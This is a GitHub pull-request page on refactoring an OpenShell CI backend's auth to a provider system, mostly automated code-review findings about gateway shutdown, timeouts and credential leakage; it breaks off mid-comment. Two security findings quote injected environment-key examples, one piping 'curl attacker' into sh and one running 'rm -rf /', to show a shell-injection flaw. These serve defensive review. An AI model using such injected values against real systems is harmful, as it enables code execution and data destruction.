Refactor OpenShell backend to use provider system for auth#60
Merged
Conversation
EmilienM
approved these changes
Jun 5, 2026
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughAdds a provider module that ensures or creates an Anthropic or google-cloud OpenShell provider (PROVIDER_NAME), extends OpenShellBackend to accept and inject extra_env into a base64-encoded in-sandbox env script and to call provider.setup(auth_mode) during setup, removes credential staging, and always attempts gateway.stop() on shutdown. Rewrites gateway lifecycle to manage the Podman unix socket, persistent gateway TOML, local TLS certs, launches openshell-gateway, registers the gateway via the openshell CLI with retry, and checks readiness via openshell status. Sandbox creation now attaches the CI provider, DEFAULT_POLICY network allowlist is updated, Harness adds autoupdater_env_var with an OpenCode override, create_backend forwards extra_env, tests assert extra_env propagation, and an E2E SKILL runbook was added. Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes 🚥 Pre-merge checks | ✅ 4✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 6
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
src/agentic_ci/backends/openshell/__init__.py (1)
39-53:⚠️ Potential issue | 🟠 Major | ⚡ Quick winAlways reconcile the inference provider before the sandbox-exists fast path.
When
sandbox.exists()is true,setup()returns beforeprovider.setup(...)runs. That means a reused sandbox can be paired with a missing or staleci-inferenceprovider, and the nextprovider.set_inference()call fails late or keeps using the previous run's auth/project settings.Suggested fix
- if sandbox.exists(): - log.section("Sandbox already exists") - return - - resolved_policy = policy.resolve( - flag_path=self.policy_path, - workdir=self.workdir, - ) - image_info = f", image: {self.image}" if self.image else "" - log.section(f"Creating sandbox (policy: {resolved_policy}{image_info})") - log.section("Configuring inference provider") provider.setup(auth_mode=self.harness.auth_mode) + + if sandbox.exists(): + log.section("Sandbox already exists") + return + + resolved_policy = policy.resolve( + flag_path=self.policy_path, + workdir=self.workdir, + ) + image_info = f", image: {self.image}" if self.image else "" + log.section(f"Creating sandbox (policy: {resolved_policy}{image_info})") sandbox.create(image=self.image, policy_path=resolved_policy)🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/__init__.py` around lines 39 - 53, Move the inference-provider reconciliation to run unconditionally before short-circuiting on an existing sandbox: call provider.setup(auth_mode=self.harness.auth_mode) prior to checking sandbox.exists() (or at least before the early return), so that provider setup always runs even when reusing a sandbox; keep sandbox.create(image=self.image, policy_path=resolved_policy) and the resolved_policy/image logging as-is, but ensure provider.setup is executed before any return caused by sandbox.exists().
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@src/agentic_ci/backends/openshell/gateway.py`:
- Around line 72-85: Replace the fixed "/tmp/openshell-gateway.log" usage with
creation of a secure, private temporary logfile before starting the openshell
gateway: create a temp file using a secure mechanism (e.g.,
tempfile.NamedTemporaryFile(delete=False) or os.open with O_CREAT|O_EXCL and
explicit restrictive mode) and use that file object or its path as stdout/stderr
in the subprocess.Popen call that launches "openshell-gateway"; ensure you close
the descriptor safely and avoid following symlinks so the log_file variable and
the subprocess.Popen call in gateway.py are updated to use the securely-created
temporary file.
- Around line 134-141: The _kill_podman_service function currently uses a broad
pkill -f which kills all matching podman services; instead, track and target the
exact service process this gateway started (e.g., store the subprocess.Popen
object or its pid when you start the service) and use that PID to terminate only
that process in _kill_podman_service (or use pkill with the specific PID/parent
PID or a unique --pidfile/label you create when launching). Update the
service-starting code to persist the launched process id or handle, and change
_kill_podman_service to read that identifier and call os.kill(pid,
SIGTERM)/subprocess.run(["kill", pid]) or pkill with that pid so only the owned
podman system service is stopped.
- Around line 121-129: In _kill_gateway, the PID extraction logic fails because
ss output embeds pid inside the users:(("... ",pid=123,...)) token rather than
as a whitespace token; update _kill_gateway to scan the matching line from
result.stdout for the substring "pid=" (or use a regex like pid=(\d+)) to
extract the numeric PID for the service bound to GATEWAY_PORT, convert to int,
then call os.kill(pid, signal.SIGTERM) and _wait_for_pid(pid, timeout=10) as
before so the old gateway is reliably terminated.
- Around line 175-179: The current _write_config implementation returns early if
gateway.toml exists, preserving old settings; change it to generate the desired
content using _GATEWAY_TOML.format(port=GATEWAY_PORT) and compare that to the
existing file contents (using config_path) — if the file is missing or the
contents differ, ensure config_dir exists and overwrite gateway.toml with the
generated content; reference _write_config, _GATEWAY_TOML, GATEWAY_PORT,
config_path and config_dir to locate and update the logic.
In `@src/agentic_ci/backends/openshell/provider.py`:
- Around line 73-96: _function _create_vertex_provider currently sets region
from CLOUD_ML_REGION and ignores VERTEX_LOCATION, causing a mismatch with
OpenCodeHarness which prefers VERTEX_LOCATION; update _create_vertex_provider to
compute region using the same fallback chain as OpenCodeHarness (prefer
os.environ["VERTEX_LOCATION"] then os.environ["CLOUD_ML_REGION"] then "global"),
then pass that region into the provider config (keep using VERTEX_AI_REGION and
PROVIDER_NAME as before) so the provider registration and harness region
selection are consistent.
- Around line 18-26: Current logic reuses any existing provider named by
PROVIDER_NAME regardless of auth_mode; change provider reuse to validate the
existing provider's auth/type matches the requested auth_mode and recreate it
when mismatched. In the branch that calls provider_exists(), query the existing
provider's metadata (e.g., via a provider inspection call or function that
returns its auth/type) and compare to auth_mode; if types differ, tear down or
recreate the provider (call _create_anthropic_provider() or
_create_vertex_provider() accordingly) instead of reusing the stale provider,
otherwise keep the reuse path; update provider_exists() handling to reference
PROVIDER_NAME and use the provider type check before printing and returning.
---
Outside diff comments:
In `@src/agentic_ci/backends/openshell/__init__.py`:
- Around line 39-53: Move the inference-provider reconciliation to run
unconditionally before short-circuiting on an existing sandbox: call
provider.setup(auth_mode=self.harness.auth_mode) prior to checking
sandbox.exists() (or at least before the early return), so that provider setup
always runs even when reusing a sandbox; keep sandbox.create(image=self.image,
policy_path=resolved_policy) and the resolved_policy/image logging as-is, but
ensure provider.setup is executed before any return caused by sandbox.exists().
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Central YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Enterprise
Run ID: 3dc9418c-9d60-45be-afa0-ff3555ad18d0
📒 Files selected for processing (7)
.claude/skills/test-e2e-openshell/SKILL.mdsrc/agentic_ci/backends/openshell/__init__.pysrc/agentic_ci/backends/openshell/gateway.pysrc/agentic_ci/backends/openshell/policy.pysrc/agentic_ci/backends/openshell/provider.pysrc/agentic_ci/backends/openshell/sandbox.pysrc/agentic_ci/harness.py
💤 Files with no reviewable changes (1)
- src/agentic_ci/backends/openshell/policy.py
mprpic
force-pushed
the
openshell-provider-refactor
branch
2 times, most recently
from
7e01859 to
073d5cc
Compare
There was a problem hiding this comment.
Actionable comments posted: 2
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
src/agentic_ci/backends/openshell/__init__.py (1)
136-143:⚠️ Potential issue | 🟠 Major | ⚡ Quick winValidate
extra_envnames before emitting the sourced shell script.Severity: major. Lines 136-137 quote values but splice keys raw into a script that gets sourced on Line 80. A key like
FOO; curl attacker|sh #becomes executable shell syntax (CWE-78), so any caller that lets users influence env names gets code execution inside the sandbox before the agent starts. Also coerce values tostrhere;PodmanBackendalready accepts non-string values viaf"{key}={val}", whileshlex.quote(val)will raiseTypeError.Suggested fix
import base64 +import re import shlex @@ class OpenShellBackend(Backend): @@ _ENV_SCRIPT = "/tmp/.agentic-ci-env.sh" + _ENV_NAME_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*$") @@ for key, val in self._extra_env.items(): - lines.append(f"export {key}={shlex.quote(val)}") + key = str(key) + if not self._ENV_NAME_RE.fullmatch(key): + raise ValueError(f"Invalid environment variable name: {key!r}") + lines.append(f"export {key}={shlex.quote(str(val))}")🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/__init__.py` around lines 136 - 143, The loop that builds the sourced script is inserting raw env names from self._extra_env into lines and calling shlex.quote only on values (in the block that also sets AGENT_MODEL and writes to _ENV_SCRIPT via sandbox.exec_cmd), which allows shell injection and also can TypeError on non-str values; update the code that iterates over self._extra_env in the __init__ module to (1) validate each key against a safe identifier regex (e.g. ^[A-Za-z_][A-Za-z0-9_]*$) and raise a clear exception for invalid names, (2) coerce each val to str before passing to shlex.quote, and (3) only append lines like f"export {key}={shlex.quote(str(val))}" after validation so AGENT_MODEL and other exports are safe when written to _ENV_SCRIPT via sandbox.exec_cmd.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@src/agentic_ci/backends/openshell/gateway.py`:
- Around line 131-139: Before killing the PID found for GATEWAY_PORT, ensure the
process is actually the openshell-gateway: in the loop that inspects
result.stdout for GATEWAY_PORT (the block using GATEWAY_PORT and _wait_for_pid
in gateway.py), only extract and terminate the PID if the same line also
contains the process name "openshell-gateway" (e.g. check for
"openshell-gateway" or match users\:\(\(\"openshell-gateway\".*pid=(\d+)\)
before calling os.kill and _wait_for_pid); otherwise skip the line to avoid
killing unrelated processes.
- Around line 220-243: The _register function's subprocess.run call can hang
because it has no timeout, preventing tenacity from retrying; update the
tenacity.retry decorator to also retry on subprocess.TimeoutExpired (e.g.,
retry_if_exception_type((subprocess.CalledProcessError,
subprocess.TimeoutExpired))) and pass a reasonable timeout argument to
subprocess.run (and optionally capture_output=True or timeout value) in the call
inside _register so timeouts raise subprocess.TimeoutExpired and allow tenacity
to reraise/retry accordingly.
---
Outside diff comments:
In `@src/agentic_ci/backends/openshell/__init__.py`:
- Around line 136-143: The loop that builds the sourced script is inserting raw
env names from self._extra_env into lines and calling shlex.quote only on values
(in the block that also sets AGENT_MODEL and writes to _ENV_SCRIPT via
sandbox.exec_cmd), which allows shell injection and also can TypeError on
non-str values; update the code that iterates over self._extra_env in the
__init__ module to (1) validate each key against a safe identifier regex (e.g.
^[A-Za-z_][A-Za-z0-9_]*$) and raise a clear exception for invalid names, (2)
coerce each val to str before passing to shlex.quote, and (3) only append lines
like f"export {key}={shlex.quote(str(val))}" after validation so AGENT_MODEL and
other exports are safe when written to _ENV_SCRIPT via sandbox.exec_cmd.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Central YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Enterprise
Run ID: d44f6882-987e-424c-95f6-2caff1c24c0e
📒 Files selected for processing (9)
.claude/skills/test-e2e-openshell/SKILL.mdsrc/agentic_ci/backends/__init__.pysrc/agentic_ci/backends/openshell/__init__.pysrc/agentic_ci/backends/openshell/gateway.pysrc/agentic_ci/backends/openshell/policy.pysrc/agentic_ci/backends/openshell/provider.pysrc/agentic_ci/backends/openshell/sandbox.pysrc/agentic_ci/harness.pytests/test_backend.py
💤 Files with no reviewable changes (1)
- src/agentic_ci/backends/openshell/policy.py
🚧 Files skipped from review as they are similar to previous changes (2)
- src/agentic_ci/backends/openshell/sandbox.py
- src/agentic_ci/harness.py
Comment on lines
+131
to
+139
| for line in result.stdout.splitlines(): | ||
| if str(GATEWAY_PORT) not in line: | ||
| continue | ||
| match = re.search(r"pid=(\d+)", line) | ||
| if match: | ||
| pid = int(match.group(1)) | ||
| os.kill(pid, signal.SIGTERM) | ||
| _wait_for_pid(pid, timeout=10) | ||
| return |
There was a problem hiding this comment.
Verify the listener is actually openshell-gateway before killing it.
Severity: major. Lines 131-139 terminate whatever PID ss reports on port 17670. If another local service is bound there, a failed start() cleanup or manual stop() will kill that unrelated process.
Suggested fix
for line in result.stdout.splitlines():
if str(GATEWAY_PORT) not in line:
continue
match = re.search(r"pid=(\d+)", line)
if match:
pid = int(match.group(1))
+ try:
+ with open(f"/proc/{pid}/cmdline", "rb") as f:
+ cmdline = f.read().decode(errors="ignore")
+ except OSError:
+ continue
+ if "openshell-gateway" not in cmdline:
+ continue
os.kill(pid, signal.SIGTERM)
_wait_for_pid(pid, timeout=10)
return🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/agentic_ci/backends/openshell/gateway.py` around lines 131 - 139, Before
killing the PID found for GATEWAY_PORT, ensure the process is actually the
openshell-gateway: in the loop that inspects result.stdout for GATEWAY_PORT (the
block using GATEWAY_PORT and _wait_for_pid in gateway.py), only extract and
terminate the PID if the same line also contains the process name
"openshell-gateway" (e.g. check for "openshell-gateway" or match
users\:\(\(\"openshell-gateway\".*pid=(\d+)\) before calling os.kill and
_wait_for_pid); otherwise skip the line to avoid killing unrelated processes.
073d5cc to
54b4aae
Compare
There was a problem hiding this comment.
Actionable comments posted: 3
♻️ Duplicate comments (2)
src/agentic_ci/backends/openshell/gateway.py (2)
144-152:⚠️ Potential issue | 🟠 Major | ⚡ Quick winVerify process is
openshell-gatewaybefore killing.The PID discovery via
ss -tlnpfinds whatever process is bound to port 17670. If another service happens to use this port,_kill_gateway()will terminate it. Thessoutput includes the process name in theusers:((...))field—validate it containsopenshell-gatewaybefore sending SIGTERM.Suggested fix
for line in result.stdout.splitlines(): if str(GATEWAY_PORT) not in line: continue + if "openshell-gateway" not in line: + continue match = re.search(r"pid=(\d+)", line) if match: pid = int(match.group(1)) os.kill(pid, signal.SIGTERM) _wait_for_pid(pid, timeout=10) return🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/gateway.py` around lines 144 - 152, In _kill_gateway, after iterating lines from result.stdout and before calling os.kill(pid, ...), verify the matched line's process user field contains the string "openshell-gateway" (i.e., parse the users:((...)) portion of the ss output or use a regex that ensures the process name includes "openshell-gateway") and only then convert pid and send SIGTERM; if the process name doesn't match, continue the loop and do not kill the PID for GATEWAY_PORT.
233-256:⚠️ Potential issue | 🟠 Major | ⚡ Quick winAdd timeout to
_register()subprocess call so retries can trigger.Without a
timeout, ifopenshell gateway addhangs indefinitely, tenacity never gets a chance to retry. Includesubprocess.TimeoutExpiredin the retry predicate.Suggested fix
`@tenacity.retry`( wait=tenacity.wait_fixed(2), stop=tenacity.stop_after_attempt(10), - retry=tenacity.retry_if_exception_type(subprocess.CalledProcessError), + retry=tenacity.retry_if_exception_type( + (subprocess.CalledProcessError, subprocess.TimeoutExpired) + ), reraise=True, ) def _register(): ... subprocess.run( [ "openshell", "gateway", "add", f"https://localhost:{GATEWAY_PORT}", "--local", "--name", "ci", ], check=True, + timeout=15, )🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/agentic_ci/backends/openshell/gateway.py` around lines 233 - 256, The _register function currently calls subprocess.run without a timeout so a hanging openshell process prevents tenacity retries; update the tenacity.retry decorator on _register to retry on both subprocess.CalledProcessError and subprocess.TimeoutExpired (e.g., retry_if_exception_type((subprocess.CalledProcessError, subprocess.TimeoutExpired))) and add a sensible timeout argument to the subprocess.run call (e.g., timeout=10) so subprocess.TimeoutExpired can be raised and tenacity can retry; keep reraise=True and check=True as before.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.claude/skills/test-e2e-openshell/SKILL.md:
- Around line 158-171: The command is leaking the Anthropic key by interpolating
$(cat "$API_KEY_FILE") into podman exec via -e ANTHROPIC_API_KEY=..., so remove
that interpolation and instead make the secret available only inside the
container (e.g., mount the host API_KEY_FILE into the container and read it
inside the container process, or use podman/secret or an --env-file consumed
inside the container) before calling agentic-ci; update the podman exec
invocation that references ANTHROPIC_API_KEY, API_KEY_FILE, openshell-e2e and
the agentic-ci run call so the outer shell never expands or passes the key as a
CLI/env argument.
In `@src/agentic_ci/backends/openshell/__init__.py`:
- Around line 136-137: The loop that emits environment exports uses keys from
self._extra_env without validation, allowing shell injection; update the code
that appends to lines (the for key, val in self._extra_env.items() block) to
validate each key against a safe shell identifier pattern (e.g. start with
letter or underscore and contain only letters, digits, and underscores) and
either skip/raise on invalid keys, and continue to shlex.quote the value as
before; ensure you reference and check self._extra_env keys before calling
lines.append(f"export {key}={shlex.quote(val)}") so only validated keys are
emitted.
In `@src/agentic_ci/backends/openshell/provider.py`:
- Around line 29-35: The provider_exists function can hang because
subprocess.run is called without a timeout; update provider_exists to pass a
sensible timeout (matching other calls in gateway.py) to subprocess.run (the
call in provider_exists that runs ["openshell", "provider", "get",
PROVIDER_NAME]) and catch subprocess.TimeoutExpired to handle timeouts
gracefully (return False or treat as non-existent). Ensure the change references
provider_exists and the subprocess.run invocation and mirrors the timeout and
exception handling pattern used in gateway.py.
---
Duplicate comments:
In `@src/agentic_ci/backends/openshell/gateway.py`:
- Around line 144-152: In _kill_gateway, after iterating lines from
result.stdout and before calling os.kill(pid, ...), verify the matched line's
process user field contains the string "openshell-gateway" (i.e., parse the
users:((...)) portion of the ss output or use a regex that ensures the process
name includes "openshell-gateway") and only then convert pid and send SIGTERM;
if the process name doesn't match, continue the loop and do not kill the PID for
GATEWAY_PORT.
- Around line 233-256: The _register function currently calls subprocess.run
without a timeout so a hanging openshell process prevents tenacity retries;
update the tenacity.retry decorator on _register to retry on both
subprocess.CalledProcessError and subprocess.TimeoutExpired (e.g.,
retry_if_exception_type((subprocess.CalledProcessError,
subprocess.TimeoutExpired))) and add a sensible timeout argument to the
subprocess.run call (e.g., timeout=10) so subprocess.TimeoutExpired can be
raised and tenacity can retry; keep reraise=True and check=True as before.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Central YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Enterprise
Run ID: fd3aa7ea-2f1e-4bd3-b5db-613d25f5889e
📒 Files selected for processing (9)
.claude/skills/test-e2e-openshell/SKILL.mdsrc/agentic_ci/backends/__init__.pysrc/agentic_ci/backends/openshell/__init__.pysrc/agentic_ci/backends/openshell/gateway.pysrc/agentic_ci/backends/openshell/policy.pysrc/agentic_ci/backends/openshell/provider.pysrc/agentic_ci/backends/openshell/sandbox.pysrc/agentic_ci/harness.pytests/test_backend.py
💤 Files with no reviewable changes (1)
- src/agentic_ci/backends/openshell/policy.py
🚧 Files skipped from review as they are similar to previous changes (4)
- src/agentic_ci/backends/init.py
- tests/test_backend.py
- src/agentic_ci/backends/openshell/sandbox.py
- src/agentic_ci/harness.py
Comment on lines
+158
to
+171
| ```bash | ||
| podman exec \ | ||
| -e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")" \ | ||
| -e SANDBOX_IMAGE="$CLAUDE_SANDBOX_IMAGE" \ | ||
| openshell-e2e bash -c ' | ||
| agentic-ci run \ | ||
| --backend openshell \ | ||
| --harness claude-code \ | ||
| --image "$SANDBOX_IMAGE" \ | ||
| --model claude-haiku-4-5 \ | ||
| --no-otel \ | ||
| "Respond with exactly: B1_OK" | ||
| ' | ||
| ``` |
There was a problem hiding this comment.
Stop passing Anthropic keys through CLI/env interpolation; this can leak credentials (CWE-200, CWE-532).
Using -e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")" exposes the key to shell history, debug logs, and process inspection paths during command execution. In a shared CI host, another user/process with inspect access could recover it.
Remediation (read secret inside container, avoid key in outer command args)
- podman exec \
- -e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")" \
- -e SANDBOX_IMAGE="$CLAUDE_SANDBOX_IMAGE" \
- openshell-e2e bash -c '
+ podman cp "$API_KEY_FILE" openshell-e2e:/tmp/anthropic_api_key
+ podman exec \
+ -e SANDBOX_IMAGE="$CLAUDE_SANDBOX_IMAGE" \
+ openshell-e2e bash -c '
+ export ANTHROPIC_API_KEY="$(tr -d "\r\n" </tmp/anthropic_api_key)"
+ rm -f /tmp/anthropic_api_key
agentic-ci run \
--backend openshell \
--harness claude-code \
--image "$SANDBOX_IMAGE" \
--model claude-haiku-4-5 \
--no-otel \
"Respond with exactly: B1_OK"
'- podman exec \
- -e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")" \
- -e SANDBOX_IMAGE="$OPENCODE_SANDBOX_IMAGE" \
- openshell-e2e bash -c '
+ podman cp "$API_KEY_FILE" openshell-e2e:/tmp/anthropic_api_key
+ podman exec \
+ -e SANDBOX_IMAGE="$OPENCODE_SANDBOX_IMAGE" \
+ openshell-e2e bash -c '
+ export ANTHROPIC_API_KEY="$(tr -d "\r\n" </tmp/anthropic_api_key)"
+ rm -f /tmp/anthropic_api_key
agentic-ci run \
--backend openshell \
--harness opencode \
--image "$SANDBOX_IMAGE" \
--model "anthropic/claude-haiku-4-5-20251001" \
--no-otel \
"Respond with exactly: D1_OK"
'Also applies to: 219-232
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.claude/skills/test-e2e-openshell/SKILL.md around lines 158 - 171, The
command is leaking the Anthropic key by interpolating $(cat "$API_KEY_FILE")
into podman exec via -e ANTHROPIC_API_KEY=..., so remove that interpolation and
instead make the secret available only inside the container (e.g., mount the
host API_KEY_FILE into the container and read it inside the container process,
or use podman/secret or an --env-file consumed inside the container) before
calling agentic-ci; update the podman exec invocation that references
ANTHROPIC_API_KEY, API_KEY_FILE, openshell-e2e and the agentic-ci run call so
the outer shell never expands or passes the key as a CLI/env argument.
Comment on lines
+136
to
+137
| for key, val in self._extra_env.items(): | ||
| lines.append(f"export {key}={shlex.quote(val)}") |
There was a problem hiding this comment.
Extra env keys are not validated or quoted, risking shell injection.
extra_env keys are interpolated directly into the shell script. A malicious key like FOO=bar; rm -rf / would result in export FOO=bar; rm -rf /=.... While extra_env comes from create_backend() (likely trusted), defense in depth is warranted.
Suggested fix
+import re
+
+_VALID_ENV_KEY = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*$")
+
def _write_env_script(self, model, otel_port=None, otel_rate_file=None):
...
for key, val in self._extra_env.items():
+ if not _VALID_ENV_KEY.match(key):
+ raise ValueError(f"Invalid environment variable name: {key}")
lines.append(f"export {key}={shlex.quote(val)}")🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/agentic_ci/backends/openshell/__init__.py` around lines 136 - 137, The
loop that emits environment exports uses keys from self._extra_env without
validation, allowing shell injection; update the code that appends to lines (the
for key, val in self._extra_env.items() block) to validate each key against a
safe shell identifier pattern (e.g. start with letter or underscore and contain
only letters, digits, and underscores) and either skip/raise on invalid keys,
and continue to shlex.quote the value as before; ensure you reference and check
self._extra_env keys before calling lines.append(f"export
{key}={shlex.quote(val)}") so only validated keys are emitted.
da2a0da to
8818343
Compare
There was a problem hiding this comment.
Actionable comments posted: 6
♻️ Duplicate comments (2)
.claude/skills/test-e2e-openshell/SKILL.md (2)
158-171:⚠️ Potential issue | 🔴 Critical | ⚡ Quick winStop passing Anthropic keys through CLI/env interpolation; this can leak credentials (CWE-200, CWE-532).
Using
-e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")"exposes the key to shell history, debug logs, and process inspection during command execution. In a shared CI host, another user/process with inspect access could recover it.Remediation (read secret inside container, avoid key in outer command args)
- podman exec \ - -e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")" \ - -e SANDBOX_IMAGE="$CLAUDE_SANDBOX_IMAGE" \ - openshell-e2e bash -c ' + podman exec \ + -e SANDBOX_IMAGE="$CLAUDE_SANDBOX_IMAGE" \ + openshell-e2e bash -c ' + export ANTHROPIC_API_KEY="$(tr -d "\r\n" </host-api-key)" agentic-ci run \ --backend openshell \ --harness claude-code \ --image "$SANDBOX_IMAGE" \ --model claude-haiku-4-5 \ --no-otel \ "Respond with exactly: B1_OK" '🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.claude/skills/test-e2e-openshell/SKILL.md around lines 158 - 171, The current podman exec invocation leaks the Anthropic key via CLI interpolation (-e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")"); instead, stop passing the secret on the outer command line and mount or provide the key file into the container and read it inside the container process. Modify the podman exec invocation around openshell-e2e so it no longer uses the interpolated ANTHROPIC_API_KEY env (remove the -e with $(cat ...)); instead bind-mount or otherwise make API_KEY_FILE available inside the container and set ANTHROPIC_API_KEY from that file in the bash -c command (where agentic-ci run ... is invoked) so the secret never appears in the outer process args or environment.
219-232:⚠️ Potential issue | 🔴 Critical | ⚡ Quick winStop passing Anthropic keys through CLI/env interpolation; this can leak credentials (CWE-200, CWE-532).
Same credential leakage issue as Section B: the key is exposed through command substitution.
Remediation (read secret inside container)
- podman exec \ - -e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")" \ - -e SANDBOX_IMAGE="$OPENCODE_SANDBOX_IMAGE" \ - openshell-e2e bash -c ' + podman exec \ + -e SANDBOX_IMAGE="$OPENCODE_SANDBOX_IMAGE" \ + openshell-e2e bash -c ' + export ANTHROPIC_API_KEY="$(tr -d "\r\n" </host-api-key)" agentic-ci run \ --backend openshell \ --harness opencode \ --image "$SANDBOX_IMAGE" \ --model "anthropic/claude-haiku-4-5-20251001" \ --no-otel \ "Respond with exactly: D1_OK" '🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.claude/skills/test-e2e-openshell/SKILL.md around lines 219 - 232, The current podman exec invocation leaks the Anthropic key by interpolating $(cat "$API_KEY_FILE") on the host; change it so the secret file is read inside the container instead of expanding on the CLI. Update the podman exec/openshell-e2e invocation so ANTHROPIC_API_KEY is set inside the container (e.g., read "$API_KEY_FILE" in the bash -c command before calling agentic-ci run) and remove host-side command substitution; keep SANDBOX_IMAGE and the agentic-ci run arguments intact.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.claude/skills/test-e2e-openshell/SKILL.md:
- Line 254: Update the documentation command in SKILL.md to read the actual
gateway log location created by gateway.py:_start() (which uses
tempfile.NamedTemporaryFile with dir=state_dir), replacing the hardcoded /tmp
path with the container state dir; for example change the command that runs
"podman exec openshell-e2e cat /tmp/openshell-gateway.log" to use the state dir
and wildcard like "podman exec openshell-e2e cat
~/.local/state/openshell/gateway-*.log" (or list ~/.local/state/openshell first
to discover the exact filename) so the doc matches gateway.py:_start() behavior.
- Line 88: The cleanup command in SKILL.md uses a broad pattern ("podman
system") that will kill all podman system services; update the instruction to
use the same precise pattern the backend uses (see
gateway.py:_kill_podman_service()) — i.e. match the full command string "podman
system service --time=0 {sock}" (or a safe regex/quoted form including the
gateway socket path) so the cleanup only targets the gateway's podman service
rather than all podman system services.
In `@src/agentic_ci/backends/openshell/__init__.py`:
- Around line 57-65: In the stop method, ensure gateway.stop() always runs even
if sandbox.delete() raises by moving gateway.stop() into a finally block; wrap
the sandbox.exists() / sandbox.delete() sequence in try/except to log any
exceptions from sandbox.delete() (referencing stop, sandbox.exists,
sandbox.delete) and then call gateway.stop() in finally (and optionally log
gateway stop), so the gateway is never left running if sandbox deletion fails.
- Around line 92-101: The build writes the literal env script returned by
self.harness.build_env_script_lines() into the sandbox, which can include a real
ANTHROPIC_API_KEY; after obtaining lines (the variable from
build_env_script_lines) but before joining/encoding/writing to self._ENV_SCRIPT
via sandbox.exec_cmd, filter out or redact any entry exporting ANTHROPIC_API_KEY
(e.g., remove lines that contain "export ANTHROPIC_API_KEY=" or replace the RHS
with a non-secret placeholder) so the real key from build_env_script_lines() is
not written into the sandbox; keep the rest of the logic that appends
self._extra_env, AGENT_MODEL, encoding, and sandbox.exec_cmd unchanged.
In `@src/agentic_ci/backends/openshell/gateway.py`:
- Around line 144-150: The loop that looks for GATEWAY_PORT in result.stdout is
matching the entire ss output line and can falsely hit unrelated entries; update
the loop in gateway.py to extract the listener/local address:port field from
each ss line (instead of testing the whole line) and compare only its port to
GATEWAY_PORT, then only when that field matches run the pid extraction (the
existing re.search(r"pid=(\d+)") and subsequent os.kill(pid, signal.SIGTERM));
i.e., parse the listener column for the port, confirm it equals
str(GATEWAY_PORT), then proceed to find and kill the pid.
In `@src/agentic_ci/backends/openshell/policy.py`:
- Around line 18-27: The default policy's github_api host pattern only lists
"*.github.com", which does not match the bare "github.com" and therefore blocks
https://github.com traffic; update the github_api policy block (symbol:
github_api) to include "github.com" explicitly in the endpoints host list
alongside "*.github.com" (for example add a second host entry or expand the host
array to ["github.com", "*.github.com"]) so that both the bare domain and
subdomains are allowed while keeping the same port/protocol/enforcement/access
settings.
---
Duplicate comments:
In @.claude/skills/test-e2e-openshell/SKILL.md:
- Around line 158-171: The current podman exec invocation leaks the Anthropic
key via CLI interpolation (-e "ANTHROPIC_API_KEY=$(cat "$API_KEY_FILE")");
instead, stop passing the secret on the outer command line and mount or provide
the key file into the container and read it inside the container process. Modify
the podman exec invocation around openshell-e2e so it no longer uses the
